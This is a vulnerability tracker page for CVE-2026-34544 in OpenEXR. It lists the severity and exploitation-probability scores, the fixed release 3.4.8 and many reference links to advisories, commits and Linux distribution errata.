CVE-2026-34544 is a high vulnerability (CVSS 8.4) in Academysoftwarefoundation Openexr, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in openexr 3.4.8.
References
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v
github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee
github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8
nvd.nist.gov/vuln/detail/CVE-2026-34544
github.com/advisories/GHSA-h762-rhv3-h25v
security.alpinelinux.org/vuln/CVE-2026-34544
Show 55 moreShow less
access.redhat.com/errata/RHSA-2026:84796
access.redhat.com/security/cve/CVE-2026-34544
access.redhat.com/security/cve/CVE-2026-59184
access.redhat.com/security/cve/CVE-2026-59189
access.redhat.com/security/cve/CVE-2026-59981
access.redhat.com/security/cve/CVE-2026-59982
bugzilla.redhat.com/2454127
bugzilla.redhat.com/2523654
bugzilla.redhat.com/2523671
bugzilla.redhat.com/2523708
bugzilla.redhat.com/2523752
errata.almalinux.org/10/ALSA-2026-84796.html
access.redhat.com/errata/RHSA-2026:86983
errata.almalinux.org/9/ALSA-2026-86983.html
docs.bell-sw.com/security/cves/CVE-2026-34544
errata.tuxcare.com/els_os/almalinux9.2esu/CLSA-2026-1781180341.html
errata.tuxcare.com/els_os/tuxcare9.6esu/CLSA-2026-1781184685.html
github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34544.json
security-tracker.debian.org/tracker/CVE-2026-34544
github.com/AcademySoftwareFoundation/openexr
pypi.org/project/openexr
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2454127
bugzilla.redhat.com/show_bug.cgi?id=2523654
bugzilla.redhat.com/show_bug.cgi?id=2523671
bugzilla.redhat.com/show_bug.cgi?id=2523708
bugzilla.redhat.com/show_bug.cgi?id=2523752
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_84796.json
cve.org/CVERecord?id=CVE-2026-34544
cve.org/CVERecord?id=CVE-2026-59184
nvd.nist.gov/vuln/detail/CVE-2026-59184
github.com/AcademySoftwareFoundation/openexr/commit/37f03b6ed90f3dd9910f31de3a40f25f2bc2aca1
github.com/AcademySoftwareFoundation/openexr/commit/55b7958ecb5ac32c427ff39c1e063f6f7bbee77c
github.com/AcademySoftwareFoundation/openexr/commit/aef02224ba282a802de65d16c49c1cdb82089dec
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-pqp9-558c-453q
cve.org/CVERecord?id=CVE-2026-59189
nvd.nist.gov/vuln/detail/CVE-2026-59189
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-hwmv-39v6-739m
cve.org/CVERecord?id=CVE-2026-59981
nvd.nist.gov/vuln/detail/CVE-2026-59981
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-m799-ffc3-8pxc
cve.org/CVERecord?id=CVE-2026-59982
nvd.nist.gov/vuln/detail/CVE-2026-59982
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-6662-fq6f-93mp
errata.rockylinux.org/RLSA-2026:84796
errata.rockylinux.org/RLSA-2026:86983
ubuntu.com/security/CVE-2026-34544
suse.com/security/cve/CVE-2026-34378
suse.com/security/cve/CVE-2026-34379
suse.com/security/cve/CVE-2026-34380
suse.com/security/cve/CVE-2026-34543
suse.com/security/cve/CVE-2026-34544
suse.com/security/cve/CVE-2026-34545
suse.com/security/cve/CVE-2026-34588
suse.com/security/cve/CVE-2026-34589
Left out here: the rest of 3 source descriptions. The JSON record has them.